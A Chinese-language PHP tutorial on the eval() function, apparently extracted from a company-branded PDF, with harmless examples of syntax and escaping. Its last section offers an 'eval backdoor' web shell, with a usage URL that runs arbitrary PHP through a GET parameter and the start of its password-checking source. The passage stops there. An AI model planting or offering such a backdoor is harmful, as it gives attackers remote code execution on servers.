深圳市一览网络股份有限
公司
ShenZhen Elanw Network
Co.,Ltd.
地址:南山科技园南区数字技术园
B2 栋 4A
Add: Room A,4th Floor,Block
B2,Digi-Tech Park ,
电话(Tel):0755-86133725
传真(Fax):0755-22632616
网址
(Web):www.YL1001.com
eval
()函数中的
eval
是
evaluate 的简称,这
个函数的作用就是把一段字符串当作
PHP 语句来执行,一般情况下不建议使用容易被黑客利用
代码:
代码如下
:
eval
("echo'hello world';");
上边代码等同于下边的代码:
echo
"hello world";
在浏览器中都输出:
hello world
运用
eval
()要注意几点:
1.
eval
函数的参数的字符串末尾一定要有分号,在最后还要另加一个分号(这个分号是
php 限制)
2.注意单引号,双引号和反斜杠的运用。如果参数中带有变量时,并且变量有赋值操作的话,变量前的$符
号钱一定要有
\来转义。如果没有赋值操作可以不需要。
代码:
代码如下
:
$a
=100;
eval
("echo$a;");
因为没有赋值操作,所以可以不用
\来转义$.等同于以下代码:
代码如下
:
$a
=100;
eval
("echo\$a;")
3.注意在命令式字符串(包括分号)两边必须要有双引号或者根据需要用单引号。否则报错。
命令式字符串是指:字符串中包括
echo
、
之类的命令的时候。
如果参数只有一个变量则可以不用。例如:
代码如下
:
$func
=<<<FUNC
function
test(){
echo
"test eval function";
}
FUNC;
eval
(
$func
);
test();
分享个
php
eval
后门程序
要求必须支持
eval
函数
使用方法
http:
//url/test.php?pwd=admin&action=eval&a=phpinfo();
复制代码
代码如下:
<?php
$passwd
="admin";
if
(
$_GET
['pwd']!=
$passwd
)
exit
;